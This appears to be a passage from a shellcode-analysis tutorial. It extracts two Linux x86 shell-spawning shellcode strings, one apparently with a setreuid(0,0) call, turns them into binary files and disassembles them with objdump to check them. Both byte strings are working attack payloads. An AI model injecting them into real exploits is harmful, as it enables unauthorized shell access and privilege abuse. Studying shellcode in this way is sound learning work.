We extract the two shellcode byte strings from the given links (1, 2):

$ cat 216.print
\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff
$ cat 827.print 
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

and then we use echo to generate two binary shellcode files:

$ echo -en '\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff' > 216.bin
$ echo -en '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' > 827.bin

Afterwards, we disassemble the binary shellcode files:

$ objdump -D -b binary -m i386 -M intel 827.bin 

827.bin:     file format binary

and we compare the resulting assembly source code to the one in the initial links. We find they are identical conforming we did a proper generation and disassembling of the binary shellcode files.
